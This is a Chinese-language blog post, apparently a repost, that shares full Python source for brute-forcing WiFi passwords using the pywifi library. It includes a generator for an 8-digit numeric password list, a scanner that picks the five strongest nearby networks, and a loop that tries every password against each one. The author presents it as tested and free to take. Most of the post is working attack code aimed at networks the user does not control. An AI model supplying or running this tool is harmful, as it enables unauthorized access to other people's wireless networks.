python除了不会做饭,还能暴力破解wifi密码

python除了不会做饭,还能暴力破解wifi密码,第1张

python除了不会做饭,还能暴力破解wifi密码

本人第一次发帖,把大杂烩的python应用给大家交流。网站上看了很多可以破解wifi的帖子,但是又的写的不全,或者功能不够强大。潜心梳理,话费了一天时间编了源码,并牺牲中午和晚上时间进行测试,优化,现在分享给大家。需要学习的请随意取用,不要客气。

先贴图

这个程序的特点是可以对读到的wifi进行清洗,选择信号强度高的wifi进行排序后,逐一破解。

这类暴力破解需要的密码本确实可以事半功倍,但有的同学还不会找密码本 ,下面的代码可以生成密码本。

def code_book():
    """密码本生成函数,在破解运行前需要有密码本。这个函数产生8位数的wifi密码,1亿条密码需要大概一个
    G的存储空间,运行时间看电脑性能了,大概20分钟左右"""
    all_chars = string.digits
    # 用于求多个可迭代对象的笛卡尔积(Cartesian Product),它跟嵌套的 for 循环等价.即:((x,y) for x in A for y in B)
    # 生成结果形如('0', '0', '1', '2', '2', '5', '2', '5')
    r = itertools.product(all_chars, repeat=8)
    with open('code_book.txt', 'a') as file:
        for i in r:
            file.write(''.join(i)+'n')

还很用心的使用了装饰器和棉花糖,代码如下:

def record_time(function):
    """装饰器函数实现不更改主函数功能并能实现部分装饰功能"""
    def wrapper(*args, **kwargs):
        start = time.time()
        result = function(*args, **kwargs)
        end = time.time()
        print(f'n{function.__name__:}完成,执行时间{end - start :.2f}秒')
        return result

    return wrapper


@record_time
def code_book():
    pass


下面的代码选择需要对多少个wifi进行逐一破解。

def get_wifi():
    wifi = pywifi.PyWiFi()  # 获取所有无线网卡
    ifaces = wifi.interfaces()[0]  # 指定第一个网卡
    print('正在扫描wifi。。。')
    ifaces.scan()
    time.sleep(2)
    print('扫描完成:')
    results = ifaces.scan_results()  # 第一个网卡扫描到的wifi结果
    wifi_list = []
    for data in results:
        wifi_list.append((data.ssid, data.signal))
        # print(data.ssid, data.signal)
    sorted(wifi_list, key=lambda x: x[1], reverse=True)  # 按信号强度排列路由器列表
    print(wifi_list)  # 便于查看搜索到的路由器
    n = len(wifi_list)
    i = 5  # 指定返回搜索到的wifi个数,后续程序会对i个路由器依次破解
    if n <= i:
        return wifi_list
    else:
        return wifi_list[:i]

代码解释还是比较详尽的,大家整个源码如下,大家可以自己需要仔细阅读,亲测完美运行,就是破解速度一般,毕竟网卡连接太费时间,而且不能分布式使用,供大家练手还是本不错,哈。

整个源码如下,需要学习的同学自取。

# projecte: gift.py
# user: 309
# file: wifi_crack
# author: flamingyou
# time: 2021/12/30/9:07
import itertools
import pywifi
from pywifi import const
import time
import string
import sys


def record_time(function):
    """装饰器函数实现不更改主函数功能并能实现部分装饰功能"""
    def wrapper(*args, **kwargs):
        start = time.time()
        result = function(*args, **kwargs)
        end = time.time()
        print(f'n{function.__name__:}完成,执行时间{end - start :.2f}秒')
        return result

    return wrapper


@record_time
def code_book():
    """密码本生成函数,在破解运行前需要有密码本。这个函数产生8位数的wifi密码,1亿条密码需要大概一个
    G的存储空间,运行时间看电脑性能了,大概20分钟左右"""
    all_chars = string.digits
    # 用于求多个可迭代对象的笛卡尔积(Cartesian Product),它跟嵌套的 for 循环等价.即:((x,y) for x in A for y in B)
    # 生成结果形如('0', '0', '1', '2', '2', '5', '2', '5')
    r = itertools.product(all_chars, repeat=8)
    with open('code_book.txt', 'a') as file:
        for i in r:
            file.write(''.join(i)+'n')


def get_wifi():
    wifi = pywifi.PyWiFi()  # 获取所有无线网卡
    ifaces = wifi.interfaces()[0]  # 指定第一个网卡
    print('正在扫描wifi。。。')
    ifaces.scan()
    time.sleep(2)
    print('扫描完成:')
    results = ifaces.scan_results()  # 第一个网卡扫描到的wifi结果
    wifi_list = []
    for data in results:
        wifi_list.append((data.ssid, data.signal))
        # print(data.ssid, data.signal)
    sorted(wifi_list, key=lambda x: x[1], reverse=True)  # 按信号强度排列路由器列表
    print(wifi_list)  # 便于查看搜索到的路由器
    n = len(wifi_list)
    i = 5  # 指定返回搜索到的wifi个数,后续程序会对i个路由器依次破解
    if n <= i:
        return wifi_list
    else:
        return wifi_list[:i]


def get_ssidnames(wifi_list):
    ssidnames = []
    for item in wifi_list:
        if item[0] != '' and (item[0] not in ssidnames):  # 发现读取到的路由器竟然有空的名称,使用if语句滤掉
            ssidnames.append(item[0])
    return ssidnames


def get_ifaces():
    wifi = pywifi.PyWiFi()
    ifaces = wifi.interfaces()[0]
    return ifaces


def try_connect(ifaces, ssidname, password):
    ifaces.disconnect()

    profile = pywifi.Profile()
    profile.ssid = ssidname  # 指定使用哪个wifissid
    profile.auth = const.AUTH_ALG_OPEN
    profile.akm.append(const.AKM_TYPE_WPA2PSK)  # 指定wifi的加密算法
    profile.cipher = const.CIPHER_TYPE_CCMP  # 加密单元
    profile.key = password

    ifaces.remove_all_network_profiles()
    tmp_profile = ifaces.add_network_profile(profile)

    ifaces.connect(tmp_profile)  # 连接wifi
    time.sleep(5)  # 强制睡眠,给网卡连接网络留出时间,电脑和路由器性能好,离得近可以适当设小一些
    if ifaces.status() == const.IFACE_CONNECTED:
        print(f'nwifi: {ssidname}破解成功,密码是:', password)
        return False
    else:
        sys.stdout.write(f'r wifi: {ssidname}尝试{password}失败!继续尝试!')  # 破解不刷屏
        sys.stdout.flush()
        return True


@record_time
def run():
    print('开始暴力破解wifi')
    path = r'./code_book.txt'
    wifi_list = get_wifi()
    ssidnames = get_ssidnames(wifi_list)
    # print(ssidnames)
    ifaces = get_ifaces()
    for ssidname in ssidnames:
        with open(path, 'r') as file:
            flag = True
            while flag:
                password = file.readline().replace('n', '')
                if password:
                    flag = try_connect(ifaces, ssidname, password)
                else:
                    break


if __name__ == '__main__':
    # code_book()  # 生成密码本
    run()





希望大家玩的开心,而且还不需要找人要密码本了,哇哈哈哈。

差点忘了交代大家,因为pywifi模块不会我上传,大家可以在别的帖子里下找百度云链接下载,剩下的都是自带模块,引入可用。

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/zaji/5689897.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-12-17
下一篇 2022-12-17

发表评论

登录后才能评论

评论列表(0条)

保存